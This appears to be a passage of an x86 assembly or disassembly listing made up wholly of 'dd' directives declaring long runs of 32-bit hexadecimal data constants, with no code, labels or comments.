		dd 3CCD200h, 3A8AFA3Eh,	5CB8CEh, 5554025Bh, 6525A0B8h
		dd 1B247E00h, 2C26EF27h, 0A8F513BBh, 0E80F006Bh, 1D5A9B6h
		dd 0E91D9AF6h, 1D008F06h, 37936335h, 51320F6Ah,	444B803Fh
		dd 9703D490h, 0CD5E8801h, 0D6A8D174h, 3C9AB8C0h, 0CF03A0E8h
		dd 0C61C8723h, 13148085h, 0D206AE2Ch, 0E3B39A81h, 1D0000Eh
		dd 91778E0Ch, 801F069h,	0A5CD4BC9h, 51D0ADB4h, 8C75B0h
		dd 4A2AF217h, 1BFED039h, 96BE1800h, 20FCED16h, 78C603D7h
		dd 9E84A71Ah, 0A5ACA1B7h, 0F842F83Ah, 57D083Dh,	0D436D25Ch
		dd 710DB0D0h, 63B807h, 49826B4Dh, 0E4EC94AFh, 7C045Ch
		dd 0F841B825h, 3756CFh,	39706D4Eh, 0C455744Dh, 977C83Eh
		dd 80724F0Fh, 5944216Dh, 7B9A0732h, 0D005BC58h,	82B557A0h
		dd 780C71C1h, 33D8A422h, 61160051h, 7B12EF4h, 749E3F24h
		dd 1829560Ah, 424A6800h, 0E8BD4FD9h, 0A7D3262Dh, 454E0FB0h
		dd 0E66D6080h, 0E8798E76h, 659A600h, 0B10FC524h, 4C2F18A9h
		dd 0CCF62854h, 4F921201h, 0B65707B4h, 0B06D3043h, 4857576h
		dd 472BF9Ah, 0C2041E17h, 0C0FFEDB0h, 0F6CEE62h,	7282F79h
		dd 58005427h, 67988110h, 2299971h, 979570C3h, 308ED1BBh
		dd 9851138Ch, 9970D700h, 0C4ADA177h, 0DFE000C0h, 645DCF4Dh
		dd 2400CD33h, 1A2FC278h, 0C1D60EADh, 97D14D40h,	96045B76h
		dd 978754CAh, 25C1C2DBh, 52D63460h, 4444728h, 2F7A8998h
		dd 2ED1481Fh, 311C8094h, 0A441D8A5h, 40808ADh, 0E218B020h
		dd 0C3035E93h, 118C0D4Dh, 47D110C6h, 0D5506575h, 4CCE180Ah
		dd 0A6694C9Bh, 0E1A08B78h, 1C437A55h, 108961C8h, 594ECCAEh
		dd 0CA101750h, 853B860h, 0D6000442h, 2F285D4Ch,	81DE86D2h
		dd 6811C974h, 5F808728h, 832B40Ah, 9A0CA34Eh, 1F291453h
		dd 5324C4Dh, 409BFA20h,	0D2502CC5h, 74570801h, 544222Bh
		dd 5301F6F4h, 4000EC29h, 4F6C2CC0h, 0FBF896A1h,	1008B568h
		dd 0C1D70421h, 8AD8EAEEh, 0B4ADF610h, 1C07DB40h, 0EE400004h
		dd 20E36BEh, 0AF21E28Ah, 588738E9h, 0B260C838h,	2820D753h
		dd 0CC4125E9h, 8E69E438h, 0CB597260h, 0C0E34201h, 512AEF48h
		dd 8E00C30Bh, 300E96D3h, 920CED75h, 12E40690h, 116E6246h
		dd 94A49A09h, 2F2C8F3Ch, 69346C3Dh, 6073E251h, 0D19B48D5h
		dd 0F4034F93h, 21F60690h, 987EEFC2h, 1CE680h, 0C7B830Fh
		dd 0D074D3ECh, 2479327h, 0E191239Ch, 0FAD02458h, 8608DF6Dh
		dd 0C14A8EC2h, 0D66C48C6h, 3C849008h, 22004212h, 50F5F808h
		dd 3C03D4F9h, 0D5D04534h, 0A8C3F3EFh, 4D7DD2h, 0FE6DC6Dh
		dd 92DFF4B4h, 0C1D9786Eh, 0CCE9F51Ah, 0FC3EB050h, 0A0324D09h
		dd 935DF400h, 0A2BD9A76h, 0E4D049h, 60EEC67Ah, 0FC91D1CFh
		dd 39C906Ch, 50D47D55h,	294007A2h, 5331B6D0h, 79F411E9h
		dd 17D6C30h, 6B7E8402h,	0ECAC4340h, 0E5036585h,	5350867Ch
		dd 0E1F16649h, 6F5808D8h, 835425ECh, 0C3440578h, 2AAAD85Fh
		dd 0B0BA3FD2h, 647E538Ch, 1D03EC21h, 0A6E6D076h, 81A10A7Bh
		dd 14B4C2FAh, 0D712ACFBh, 50F80341h, 0AC98B499h, 0E650DA40h
		dd 0DD125298h, 2C50DB53h, 110A6A8h, 0EDF1851Dh,	92064AD7h
		dd 384C7A7Ah, 0A7DF1D1h, 5C87171Fh, 0CE3459B8h,	0F0102D19h
		dd 0D2800C2Fh, 0A5F600EEh, 0FF094DC2h, 780EB79Fh, 0A3B43013h
		dd 840C97CEh, 21062082h, 41CAD950h, 0DC87CCA4h,	47000EF4h
		dd 0D59E5D2Dh, 1EA39497h, 15C6A54h, 0D3B95FD0h,	0F610F4D1h
		dd 0DD13FE07h, 16804320h, 50E428ADh, 9E93A08Fh,	4A6E83ECh
		dd 0C9285901h, 2D59905Ah, 29B840C8h, 0E4240189h, 0FBF93A55h
		dd 8C50DC0Ah, 0ED8A0A4h, 0A40576D1h, 8C145E9Ah,	8F4E020h
		dd 3DA763D8h, 0EF670C24h, 5FE04059h, 906C7CACh,	303A4818h
		dd 0A25701A1h, 8C0A8859h, 4C754B7Ah, 5311FA10h,	12C06684h
		dd 0DC7744F1h, 0B58A4200h, 29C96151h, 6D101ABh,	0FDF325A0h
		dd 83804366h, 0FC4D4100h, 0A5427AD0h, 0B10C638Fh, 2921FEF4h
		dd 0D00A3DD1h, 93CCBAFh, 8805E40Bh, 3D58236Dh, 30CE6BC1h
		dd 48A40327h, 97DC4B0h,	3F83F0A0h, 4A9C3C0Eh, 80C5EC54h
		dd 0A2D18A1h, 4DE6B0CEh, 60E8A532h, 406CC0CDh, 0F72FA3Ch
		dd 4BB4AF47h, 0E479B09Dh, 0D718EB1Dh, 0B3717598h, 0A8BE0AB7h
		dd 62B09D53h, 1804D61Eh, 0F9938858h, 0E4D97A2Ah, 9D780F07h
		dd 4B47E498h, 994ED4F1h, 0B7C570h, 0F825790Dh, 50DD69E8h
		dd 8D8D4CB6h, 8C0C1058h, 7325057Ah, 0B48F6D9Ah,	41034E44h
		dd 0EFD1226Fh, 29810464h, 808179A4h, 25409344h,	47007BF0h
		dd 0C04B2CFEh, 0D47DA2A3h, 0E23EC841h, 0EC453603h, 0D9C07C8Fh
		dd 0D2ECB828h, 4E145A72h, 1098E3F5h, 20002D32h,	3FC6500Dh
		dd 4B16B710h, 4C4076E4h, 0FFB9512Fh, 0A3D37881h, 1B6D9848h
		dd 55E000C6h, 56E10157h, 9C61F5BAh, 51B62520h, 32001032h
		dd 0E7BE7807h, 1C79D2CFh, 88146E5Ah, 0BFC20070h, 6B0CC3E0h
		dd 0AEBE18B1h, 84CF39A2h, 0A3765400h, 919655A4h, 0CAC6001Eh
		dd 0F87C4C68h, 0C7A07B24h, 0C0DD3667h, 591118C0h, 3C6ADF13h
		dd 161E6148h, 96B20F57h, 50EE5F62h, 0AEDAC320h,	534009Dh
		dd 0FB5A60A6h, 32002B18h, 0B3D256E8h, 895B58h, 3F398114h
		dd 97337B17h, 0BEC3F507h, 7620464Eh, 3AB840B5h,	0B000C8D0h
		dd 0B99A50AAh, 4209F3D2h, 80530F2Dh, 3F027CE4h,	4B01Eh
		dd 0D8886D50h, 51E8150Bh, 64917A0Eh, 0AC3204Fh,	7CCC765Eh
		dd 9A5A00E6h, 260C4DE5h, 0FC01EDE8h, 0BDB6BC36h, 0B3F09010h
		dd 0D4E4F13Bh, 0D1F0EEh, 0A419D2A6h, 57E80332h,	0E76F3A0Eh
		dd 8DA10173h, 18835A5Eh, 39CEAC4Eh, 0ECEA500Fh,	4B888057h
		dd 0C05835D3h, 466B6CFAh, 0DA58BD80h, 0A3550F97h, 2E57801Ch
		dd 1D9C0123h, 0C360E7B0h, 9652340Bh, 9DD311C0h,	0A282767h
		dd 0F772A850h, 0ECE70C5Dh, 0A318BC05h, 88D9D462h, 0F70498E9h
		dd 0F4400FDCh, 0AC08A65h, 19E2B7BCh, 0B842D8C0h, 6DCADh
		dd 11550C4Ah, 7D383447h, 0DF502770h, 0F4076C8Ch, 0DB901AA8h
		dd 211130C0h, 7689015Ah, 92D50877h, 294CE850h, 0B14E6805h
		dd 2803D313h, 2884C2D9h, 74C0E819h, 90B80AEh, 0A91FD830h
		dd 5377A312h, 9B046050h, 0C3C53FD8h, 0A822BC5Ah, 0BE57025Eh
		dd 0B14DC331h, 39C0908Eh, 73AD511Eh, 2D21C40Ah,	2602480Bh
		dd 903D5A4Dh, 0A80BA47Ch, 0C1591D08h, 6C3A7A79h, 3FF18249h
		dd 0A77CC67Dh, 1F32BC84h, 0E4CDC074h, 0D30F06CFh, 910D9E98h
		dd 0E0C19621h, 7E127DDCh, 65D448C1h, 0C983A7ABh, 8BCB9FDDh
		dd 21642080h, 0E114A20Ch, 6D18148h, 0CC3B516Fh,	6C303157h
		dd 0E26BFA3Ch, 67490C75h, 14587F88h, 394D7935h,	0E678EB00h
		dd 5422D897h, 5139406h,	0E4FF1FE5h, 8B8C016Fh, 0EC39F516h
		dd 0B81564DCh, 38BC5EBCh, 89B91F43h, 5F8A11F0h,	4D6D20EBh
		dd 0DD549402h, 4E252Dh,	0B9361AC9h, 385C7F3Eh, 1FD7853Bh
		dd 0C050C20Fh, 118878DCh, 1E641F65h, 0B67C2ECh,	0A08CBE3Dh
		dd 0C8FED948h, 4E52D24h, 987B269Eh, 6E99C02Bh, 10D4A8B8h
		dd 0A9B600B1h, 0E8149AA8h
		dd 0C744A5D2h, 55E43A94h, 56CB3C07h, 50AAC711h,	17138798h
		dd 9A0EC812h, 4066CC4Ah, 322F57F8h, 6D684EC0h, 0BB4091h
		dd 31E8085Ah, 9118A404h, 60AF080h, 64400341h, 652FBCB9h
		dd 4FD02058h, 810A8754h, 95F91BCh, 2C93F3Ch, 689511E4h
		dd 2BDC360h, 1078EBB9h,	0A4A0BAD3h, 338C0ADBh, 0C10834Dh
		dd 190DBDE4h, 8A1C9910h, 81849EBh, 0D092DE8h, 17149294h
		dd 0CA81F504h, 0FCE512A5h, 123702C4h, 0E8EC6CDh, 35ECDD78h
		dd 39183829h, 0FB1802C8h, 0C403E9B0h, 0CB9198E0h, 0BEB5BF03h
		dd 0FB35052Eh, 5271C8B1h, 496E30C2h, 0D4163169h, 0C0381C03h
		dd 8BD0082Eh, 4825A22Fh, 0F8BC8h, 0A287BD4h, 0A3CA1C3Ch
		dd 5EC29D06h, 3971B47Fh, 51E00C68h, 4754C6Ch, 80973E00h
		dd 0DEDA4546h, 57E2004Eh, 0B31FA183h, 0E003769h, 0C5C6F250h
		dd 9A8BEB6Ch, 62110028h, 0FAA0C205h, 4138957h, 40FFED9h
		dd 20DD8451h, 1D7A57C0h, 410A0070h, 0C512A4C0h,	8A3077F4h
		dd 651691B1h, 0FAB20079h, 0F207E34Ch, 0C4078039h, 0E2120290h
		dd 0D9091C10h, 0D4DC1C1Fh, 726AC235h, 8CB0F852h, 1E08D3C0h
		dd 622FD038h, 91005B6Ch, 2A12D401h, 79CC89DBh, 0E35E1C5Ah
		dd 85D1DF85h, 0C168FBA4h, 10552A0h, 0E9BD92EAh,	4AFD0280h
		dd 75747126h, 0D1205909h, 0F608BDFh, 78556186h,	90E99A03h
		dd 7B3A8051h, 136EC4h, 8353DB41h, 0CB5CAACFh, 3C000092h
		dd 3DA7CA2h, 9E6271h, 61E99B1Eh, 0ACBC3A21h, 8E739204h
		dd 88CA5AFh, 31770CF8h,	989991EBh, 599A7800h, 44150AECh
		dd 0F1950054h, 81CAC668h, 77001865h, 6EECF2Ch, 1334AA1h
		dd 54E30FE1h, 22BC85A2h, 9C1B0040h, 88FB8C07h, 0C56A0362h
		dd 8DEAD358h, 9B2D6900h, 0AEF3F4B4h, 0FDBE0085h, 0C5B390CAh
		dd 39EE20F9h, 8851DE24h, 7B87EB80h, 0D113A97h, 13765D90h
		dd 2433F569h, 80070D84h, 5946632Ch, 36A5DE50h, 0E9C102ACh
		dd 6B222EC7h, 56CECCE0h, 99FCF501h, 5B226E8h, 0C7284980h
		dd 533A7814h, 82E33C07h, 604633FCh, 21F10021h, 80B6400Ah
		dd 7302A4ACh, 87D38D3h,	0EAD04162h, 0F5006022h,	0B24116D9h
		dd 89002BD7h, 0D06C58A7h, 60FAC4AEh, 47AC517Fh,	0F503CD08h
		dd 56803445h, 0CBA3F88Ah, 86E500B2h, 6C04F63Eh,	2D033C92h
		dd 4A6F145Fh, 1241BEDDh, 334E3E88h, 56B2672Ch, 5E5FE900h
		dd 0D8B302E7h, 3A45942Ch, 48D68049h, 354AFEA8h,	5A54E420h
		dd 414CD873h, 4B01B46Ch, 63B7FF6Bh, 38D88595h, 241435BCh
		dd 6202830h, 7CD97B00h,	98E309EEh, 6BF3009Ah, 5160CAC5h
		dd 4004771Ch, 0D424378Bh, 89BC54C8h, 8087E034h,	1261D63Fh
		dd 0B5C030CAh, 0B04AE1BEh, 20C80AD0h, 3C7C8359h, 9AD27707h
		dd 367B4070h, 3E6AF5BCh, 5E08E098h, 0D3F2600Ch,	0A0463820h
		dd 0EA4E310h, 1D41B97h,	0A28E1339h, 36E589C9h, 0F58D6980h
		dd 0BB46BF06h, 0B08CF000h, 0A23D2CE5h, 22B30EB4h, 0F4804D02h
		dd 13841A67h, 0D02BDD3Ch, 0B3BBD6Ch, 0D58E80CDh, 0FF2AA61h
		dd 3AF903D3h, 8A7A561Ch, 1AA04383h, 388050B9h, 0B078BAD3h
		dd 709F0068h, 6832E376h, 1A300277h, 0EAA99CCh, 0E53D00EDh
		dd 746D09A0h, 8E007884h, 7E6635A9h, 2B6A3F4h, 3F2D033Ah
		dd 8C82433Dh, 0C9180DBFh, 382308D3h, 0E6645168h, 0D4669C40h
		dd 1505CA9Dh, 0C33934E2h, 20ADDC22h, 0D6C8B726h, 920088FAh
		dd 69283D15h, 59D37177h, 71B83073h, 9000B977h, 0D62EB812h
		dd 42D85E06h, 0A23D7CADh, 373F7D82h, 77C5848Ch,	44A493D5h
		dd 70D9483Eh, 6E920880h, 1A0F6420h, 8C221590h, 79BC29E6h
		dd 0C40351C3h, 49E0B9CDh, 9B38C7ADh, 58EEC377h,	288C05C1h
		dd 9004C10h, 60024C82h,	64C1DD70h, 839A58ABh, 5900308Ah
		dd 5A4E78Ch, 0C1942E40h, 0A9EE9B38h, 77782C03h,	80784877h
		dd 4C8848C0h, 1FEF816Fh, 8AAD2290h, 4718E1ABh, 63F0F011h
		dd 3930D0CDh, 0CA4E98Fh, 0C7DA0E97h, 6C203DFFh,	35F686C9h
		dd 3842EB1Fh, 0AADBE4C1h, 0C3031C6h, 3A4713Ch, 11D4AEE9h
		dd 8CB3C507h, 0B65C801h, 0E090EEF0h, 5914B88Ch,	1A0A52F1h
		dd 9C16877Eh, 4402E711h, 0C1EEA555h, 700050E4h,	78C2CAD9h
		dd 10E88B6Fh, 610115Eh,	556CDF5Ah, 7777729h, 0F9ED3A13h
		dd 0B11A51A7h, 0B8A2108Fh, 0DBFC00CEh, 6978ED66h, 0A600D16Eh
		dd 13A44A92h, 677E815h,	8F7CDDD9h, 0D2041038h, 0CF80894Ch
		dd 100600AFh, 91709061h, 0BE685E03h, 0C0921AD2h, 121C73FCh
		dd 40E9D874h, 0D0337FACh, 1500B266h, 0EB77EAFh,	0DD38A0h
		dd 6440656Bh, 8350F8EDh, 5D2A8C00h, 0D8F6F56Ah,	22A098FEh
		dd 0DA001FCAh, 952C4F18h, 30D00919h, 0B9D102FAh, 57653789h
		dd 3C01D928h, 130FA93h,	383DEE8h, 0CA6AE245h, 6DA13A50h
		dd 9E31BF36h, 2701C39Fh, 0F2C069B6h, 929A8F4h, 11B87A37h
		dd 0FBD1A810h, 820DB30Ch, 0EC0F1053h, 1A9A00F6h, 0AAC31C40h
		dd 0CF4E302h, 212DC200h, 57A6017Fh, 189902ECh, 0DBE8291Fh
		dd 6E4414C0h, 0EEE61D0Eh, 15AB814Eh, 8C601F19h,	0F5907CDh
		dd 624464A9h, 50E38C3Ch, 57B4411Ch, 2A45D080h, 7652781Ah
		dd 207D015Bh, 40E41953h, 494881AFh, 225A81E2h, 0ECF84161h
		dd 84E6F2Ch, 99494898h,	79005AE6h, 6046AEA6h, 98ADF325h
		dd 0E92D3955h, 522E0280h, 3A19030Fh, 1400DD98h,	0C8B58D5Ch
		dd 28335ADFh, 0A4C7D77h, 8E19A449h, 5AB74040h, 17463808h
		dd 0B3217030h, 0A0005A61h, 7E7C0E0Dh, 203D32h, 0F1073FA8h
		dd 0E1F44903h, 0B5DFAF0Ch, 5C8F10EFh, 7160251Fh, 2CE77902h
		dd 2E8E0E09h, 5E19847Dh, 9720D5C1h, 8D2BB880h, 0BDC24423h
		dd 16A43F0Fh, 739D4486h, 0B2AA871Dh, 6FECD04Ah,	2F0FCCABh
		dd 2063B605h, 0C1D03A80h, 4D2C39FBh, 0DB198180h, 3D668EC0h
		dd 8C305500h, 0FDDF4AA0h, 18DDEA16h, 10927886h,	0B100B4F7h
		dd 3E068AF2h, 3C04EC75h, 0F100FE5Ah, 1AC0D8BDh,	0FA1ED9EEh
		dd 0D600BB0Bh, 0C69737EDh, 0FF1E076Eh, 4021C975h, 0D88A405Ah
		dd 843B39h, 65C01BDFh, 74746A7h, 0EC596AEBh, 1AF6C07Bh
		dd 4507B7BBh, 4EDEE058h, 0EF42BD90h, 0C060DD7Fh, 40BC8DBAh
		dd 1D07F019h, 1FBEDFFEh, 8B9143h, 0BC97CC20h, 3C075D85h
		dd 6CDAAF00h, 4113C7F9h, 69E2C12h, 0AB08004Ah, 0E6FFDE0h
		dd 0E3F25E00h, 88A8A5BBh, 0B3323806h, 0D431880h, 5C372B59h
		dd 16838E00h, 799C6DE6h, 13CA3C5Dh, 8FDECC9Fh, 6880B888h
		dd 96C42B89h, 0F3008FE0h, 0DDA3D691h, 7C8BE70Dh, 0C8C3004Fh
		dd 4578604Ah, 0FB006630h, 0CB7A489Fh, 6850DFh, 2FD943AEh
		dd 10F061D0h, 80C6F803h, 0E88AEBB0h, 4026F3h, 4C7F5CCAh
		dd 0C2969C8Ch, 3857B800h, 377EB910h, 0FBE13FDEh, 881DA500h
		dd 0C19D5BAh, 743DE2EEh, 0F7300F2h, 5EA6376Ah, 76AC0001h
		dd 0FA85362Fh, 0CB00AF95h, 788B2D88h, 7AE0DFh, 82ECFE4Ah
		dd 75BC12BAh, 0B8553Fh,	0F7345401h, 7B406DA2h, 174100FBh
		dd 0C95F5AC5h, 5D005BF1h, 0C2CEFFDBh, 1635E25h,	0E4EE8FDFh
		dd 0E4A3CC06h, 500107Bh, 54175841h, 7B0B1F62h, 0C7277C16h
		dd 0B0716D10h, 8386A46Eh, 0D54CDE19h, 31807008h, 2C687967h
		dd 7E00906Bh, 22E48029h, 0CF0A126Dh, 78895B20h,	1C8A7F01h
		dd 0B5877029h, 9C3AD4F8h, 80CD3150h, 5B10137Eh,	6E0C7051h
		dd 20BC8404h, 0A270143h, 0BF77AE81h, 0E50ECC7Ch, 0AD310360h
		dd 8E7A71h, 1AD6874Dh
		dd 0DC6CC70Bh, 0D0B65501h, 68088109h, 0F5213883h, 990006D3h
		dd 57E9B0CDh, 38DA9B2h,	0E190022Bh, 0E0C8011Dh,	0D601CD61h
		dd 0E66452E5h, 9FF0C0E4h, 0D4B301A5h, 4E875DE7h, 42498013h
		dd 7E37D06Bh, 0A32801F3h, 0E31EBD43h, 165CF063h, 0F93093ECh
		dd 0CD20F82Dh, 23D7203Dh, 2A825401h, 8C09E54Bh,	55D4B4FDh
		dd 60BAE8B3h, 0B181E06Dh, 4A013D4Bh, 0D060F056h, 79800E07h
		dd 0BA74AF94h, 3F7982D1h, 79E6F500h, 3555D74Bh,	17750058h
		dd 9438670h, 0E8A8386Dh, 0E41FB4C9h, 2CC2450Eh,	0C018D634h
		dd 5FA9D5h, 15610349h, 8B261154h, 2A511C15h, 0B20075D8h
		dd 4A41C290h, 8001101Eh, 9224810Dh, 94002464h, 0D907E33Ch
		dd 0D7970FB5h, 9C3E972h, 2003BAECh, 5DB13817h, 2038AD7Ah
		dd 446F8h, 1ED57CD6h, 1425B1Ch,	74900D61h, 4D074EE1h, 8357E8E4h
		dd 0E0C5A928h, 0CC30E484h, 58D72043h, 0DB472E53h, 0C04A1C14h
		dd 5C360B3Bh, 0BE3CC111h, 0A4731EFAh, 74C02640h, 483FC41Eh
		dd 242982CDh, 4BB000D4h, 0B35C0A5Bh, 0D3BD4486h, 5B4A590Fh
		dd 0F1E3A0FFh, 0C503CE1h, 9C87E0Fh, 796F06A8h, 0DA0420B1h
		dd 0FC0E2B44h, 4DF52469h, 0FF790050h, 0E89492E1h, 70A037EEh
		dd 0D149F522h, 52EB875Ch, 1DFDA8E0h, 0D0008501h, 0FEE552EFh
		dd 112F03E8h, 0D4BAB837h, 0B848AFBAh, 0AE04F561h, 0A7FC0876h
		dd 0D68F1587h, 23507D14h, 4BB30086h, 0B6A409FCh, 21146786h
		dd 0AA4A20E4h, 8185127h, 0E519653Ah, 0B11700A0h, 3C95B2E2h
		dd 8901C1B8h, 0A24F48B5h, 9CE47CFFh, 5AC0238h, 3F525516h
		dd 52F298A4h, 0C0444408h, 0A4787D5Fh, 7122D646h, 67C70D00h
		dd 30D92E19h, 44331E38h, 4139D804h, 0A0A81C05h,	0F10076DDh
		dd 421FD9DFh, 33C8529h,	0B5F314A0h, 317BD36Ah, 80B69C00h
		dd 0D022196Fh, 0FE560068h, 0D8C3AB79h, 29C0255Dh, 0FCFA329h
		dd 0A8EFC21h, 177FB6CEh, 74A84884h, 176DAE10h, 7976480h
		dd 7049E165h, 57FE8074h, 4395A929h, 0E2C5223Ah,	6B5300A6h
		dd 690A2814h, 7C9974B6h, 0C6719829h, 9EE49718h,	42156B71h
		dd 80D8775Eh, 4F5861DEh, 2892BDh, 72E64BB4h, 1CB30438h
		dd 8CC8F78h, 72E921BCh,	945895C2h, 577A0A00h, 4798097h
		dd 0F0A409h, 6E6B5FD4h,	557A76AFh, 80918A07h, 0FAB2A6C3h
		dd 1118C1A1h, 0E01F15h,	5DDF43C9h, 0B028BEB8h, 64A17035h
		dd 934ED087h, 201037Eh,	0A4BBD309h, 0C0823DF5h,	50FA1B3Bh
		dd 0E4370060h, 0BA9FFC01h, 47B236DAh, 183B0420h, 0EC114A94h
		dd 0C900C415h, 4DAA51A9h, 8F4F50h, 10B921C2h, 0EE94B8C1h
		dd 1607C300h, 0A3A9C841h, 22E300B7h, 0A2400942h, 0A5006179h
		dd 31FA5E8Bh, 262B4BBAh, 0F4B8A79Dh, 40CEE21h, 3FF51970h
		dd 6B082042h, 6C65D905h, 7B5B1488h, 0C979AFh, 0F1405DE1h
		dd 98FBAC9Dh, 6A530912h, 6844CC30h, 6EA4104Bh, 2E2DD95h
		dd 20748C42h, 217EF87Eh, 0ABA1460Eh, 53641004h,	1BD40072h
		dd 441CEDAAh, 9700E1D2h, 0BA11491Ah, 30E70AFh, 32592CD7h
		dd 7AC1CB34h, 2194F4A0h, 88483E48h, 0E677C06Ch,	23218E7Eh
		dd 11891A1h, 0A6E64F0Dh, 0E42240B9h, 5D94D40Ch,	391F0F21h
		dd 0DF01B218h, 8AF08FA4h, 346BD444h, 0B37C401h,	8443DB3Ch
		dd 0A5E15F50h, 751B5A00h, 36243D56h, 46003C4Ch,	87540B1Dh
		dd 286891FCh, 3DF80420h, 96B8089Ch, 590A6118h, 0E890BAB2h
		dd 0D10128A8h, 0DF487923h, 0D44B0B21h, 3010E884h, 2A023Fh
		dd 0DB159B3Ch, 0A817E6EFh, 284896FAh, 0F197044Ch, 2CC9B16Ah
		dd 3DB05026h, 0C1240C0h, 5444CA81h, 94C04842h, 60D5931Fh
		dd 901B683Ch, 0EA0004A1h, 0DF146115h, 2854BD46h, 0CEDDAEh
		dd 4AE59DDBh, 0BBA0D66h, 6424D200h, 567D116Bh, 2DE400B9h
		dd 469071DCh, 6E734BE5h, 130CA00h, 7956371Ch, 99F000DDh
		dd 0C7E72E7Dh, 9800E1F7h, 6DCD5E5Ch, 3A26EB5h, 584E33A4h
		dd 0E1E86AF3h, 800271Eh, 833F869Bh, 3A0C1710h, 0D9180D1Ah
		dd 403E202Ah, 2F936A00h, 9CFDCBA9h, 0E501046Eh,	0C0AA0442h
		dd 14509FA8h, 99ACC700h, 9A3E8498h, 4DCC03E9h, 40377D3Dh
		dd 0B1C97800h, 0D8C71B5Ch, 7FAC032Fh, 0ADA988B8h, 0CEFDBAA8h
		dd 86CCA200h, 20D7AFD2h, 0F88F6BFh, 635B0B64h, 7320F2EAh
		dd 0CFCA899h, 51310FE3h, 50806C6Fh, 11B98D90h, 0E14DC71Fh
		dd 0E8958C7h, 0D9F01C17h, 8ECDD8h, 7055DDB9h, 0AEF45BE8h
		dd 0DB00D770h, 7A6588B6h, 816426D8h, 0F3D1D1D3h, 41078978h
		dd 190BF985h, 65A51F0h,	30AE74CBh, 1B201DF7h, 0D203F9CEh
		dd 0DA774274h, 0FC490C86h, 1E90C64Ch, 0E2CE7A1Dh, 9D6E1830h
		dd 99762A84h, 8AFC0CA0h, 65282EEEh, 0B3FDD105h,	6782D08Eh
		dd 0A090AD78h, 215020A0h, 8680BBEEh, 5F1906F9h,	1D2086AFh
		dd 0CFE8011Fh, 3CBA7EF9h, 7008207Dh, 0AB40781Bh, 0D0BEC051h
		dd 9D89006Fh, 0E5AF7A1Ch, 1E8783Bh, 0E14E7B0Ch,	7F2B20D4h
		dd 0D180F1D7h, 0DE7EE36Dh, 60063FAh, 0CD2F3C2Ch, 3FD5697h
		dd 88B9AB6Eh, 0D900E5C3h, 0FB9E0FC7h, 18F9DCF4h, 0C85C9B89h
		dd 7E86B73Ch, 1908088Ch, 0A366AE2Fh, 0D4461FA9h, 0AB67C0F9h
		dd 0DA5153E4h, 89D87515h, 690118B8h, 7DB5Ch, 0E591A3AEh
		dd 0C94BC04Eh, 0D584DF28h, 0F33BC705h, 4C00D644h, 0E75F896Dh
		dd 0B03E03D9h, 0B76ED0CEh, 9DF349A1h, 5FCEEF20h, 0A8AB4A7Eh
		dd 0F800E19Eh, 0B65618B5h, 0D0C8CE2Bh, 0E258C0B0h, 52CF1994h
		dd 72C3C8ACh, 3EEAE0C0h, 0F4888097h, 0E154601Dh, 0D700A20Fh
		dd 30B89590h, 9040D874h, 0F12E0041h, 0D96017Dh,	7B00323Eh
		dd 0B745428Dh, 2AF33CF8h, 27CC2C8h, 0DA435E0Dh,	4C19AADEh
		dd 5FB57310h, 947AFB01h, 0BB8CF785h, 93E93F4h, 4EA168AEh
		dd 61412424h, 3401902Fh, 92CC0C4Bh, 27DB0084h, 42326F90h
		dd 96000B5Ch, 1B9EA4ABh, 489AD899h, 5D2A7411h, 0F9610088h
		dd 0DCA72DB1h, 60A53D46h, 9604664h, 280007ADh, 0CF6CD823h
		dd 16214EAh, 4F158240h,	0A850DEC1h, 0CB520C51h,	5F880130h
		dd 0B749AA86h, 10884B0Ch, 0AE5E0012h, 0AADD8131h, 0C21815E4h
		dd 2D415D0Ch, 86440014h, 9E56322h, 160056F8h, 0E40ED294h
		dd 1C3692AAh, 93300732h, 11D8080Ch, 26B83C2h, 62190EEBh
		dd 0B872180h, 9F26A99Bh, 0CE2C5E09h, 7E248259h,	0E4370043h
		dd 0CCA81618h, 449ACDF3h, 13D88300h, 0CE6C8B2h,	4E140A8Ch
		dd 8F3CFCB6h, 3F829B0Ah, 0C4191093h, 424C4180h,	1BFEF36Ah
		dd 0BE92D504h, 509051B6h, 1F712ADDh, 0C1D39948h, 0F8BF96F3h
		dd 19A7CC6Eh, 8D201713h, 10AF8832h, 70039B10h, 0A68A9A36h
		dd 0C8205051h, 0F97D04ADh, 8072278Eh, 0E415EB10h, 1DF1D111h
		dd 2520C10Ch, 10913B49h, 4A184B79h, 3E320507h, 6A20DB29h
		dd 0A1BCF9h, 0BEDD0DCBh, 862BB5B9h, 37880CB1h, 0F98360B7h
		dd 0D74C1985h, 0A1E258h, 0F5C07C55h, 0C46EE104h, 388F8B50h
		dd 3D00E3DDh, 9E66ADD2h, 0ED291570h, 929A8F5h, 2A9678E4h
		dd 0D9D70086h, 1CB94961h, 83009A93h, 2C887D8Fh,	2EBAF13h
		dd 2EE44A17h, 0F8447A86h, 80AC1B21h, 9C0F903Dh,	0E18679C4h
		dd 0C3C91C64h, 224A0B20h, 0CEF373E8h, 0D8A7507Ch, 18E2C5C2h
		dd 130349A4h, 1A257F23h, 0E0890110h, 0B489560Bh, 0C08057C3h
		dd 0E53AB0C6h, 7B593E06h, 0E192FD6h, 0B8B6F9A7h, 69F39083h
		dd 6CDB3100h, 0F0A37808h, 1DEC0028h, 0E5C4F752h, 5607F933h
		dd 0C38969CAh
		dd 0D20B246Ah, 7B081004h, 351C00DFh, 2D563498h,	80B0A894h
		dd 2F8DA90Ch, 0E6F85Eh,	0DDC69A6Ah, 0EB565421h,	0DA674100h
		dd 544A3D3h, 63723914h,	0F8DDA100h, 0D24DFD2Bh,	4B9CA600h
		dd 7F36A52Ah, 1E7D0045h, 77E291D1h, 0C400CA51h,	0F40AA60h
		dd 0E6495Eh, 4618B813h,	2D64764Fh, 1DFBD400h, 8492EBBEh
		dd 0F121058Ah, 0FCDF64Dh, 74C07C81h, 581038DBh,	0F3188200h
		dd 0A93FAA99h, 67270002h, 5068A525h, 4A00A021h,	4DFA2EBEh
		dd 7D62A3Ch, 419737DCh,	7EF1431Dh, 18A39BA8h, 848B0A00h
		dd 7B45D36h, 3EB3043Ch,	0C0B882A5h, 0E934F1E3h,	5E00C976h
		dd 54430431h, 0ADD889h,	25865A72h, 0DA64E617h, 81211902h
		dd 603E4755h, 3D3A66h, 0A9AE456Ah, 0E113F828h, 5300E7E8h
		dd 0ECB0C95h, 1EE5F526h, 8085BDFDh, 23E66C25h, 5003CA47h
		dd 0CCB2AE36h, 5CC001CFh, 847EA17Ch, 0EC4083D1h, 0E8FEDA7Ah
